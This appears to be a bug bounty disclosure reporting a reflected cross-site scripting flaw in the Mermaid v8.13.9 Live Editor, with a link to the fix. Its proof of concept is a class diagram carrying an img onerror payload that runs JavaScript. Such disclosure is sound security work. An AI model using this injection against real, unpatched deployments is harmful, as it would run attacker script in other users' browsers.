Cross-site Scripting (XSS) - Reflected in mermaid-js/mermaid-live-editor
Valid
Reported on
Jan 20th 2022
Description
There is a reflected XSS vulnerability in Mermaid v8.13.9 Live Editor. It is fixed in Mermaid develop Branch -> https://github.com/mermaid-js/mermaid/commit/44d7dfe9932c002d06330086e8b296ee095e5517
Proof of Concept
classDiagram
class Duck{
<<<img/src='x'/onerror=alert(1)>>>
+String beakColor
+swim()
+quack()
}
Impact
Execute Javascript
We are processing your report and will contact the
mermaid-js/mermaid-live-editor
team within 24 hours.
a year ago
We have contacted a member of the
mermaid-js/mermaid-live-editor
team and are waiting to hear back
a year ago
to join this conversation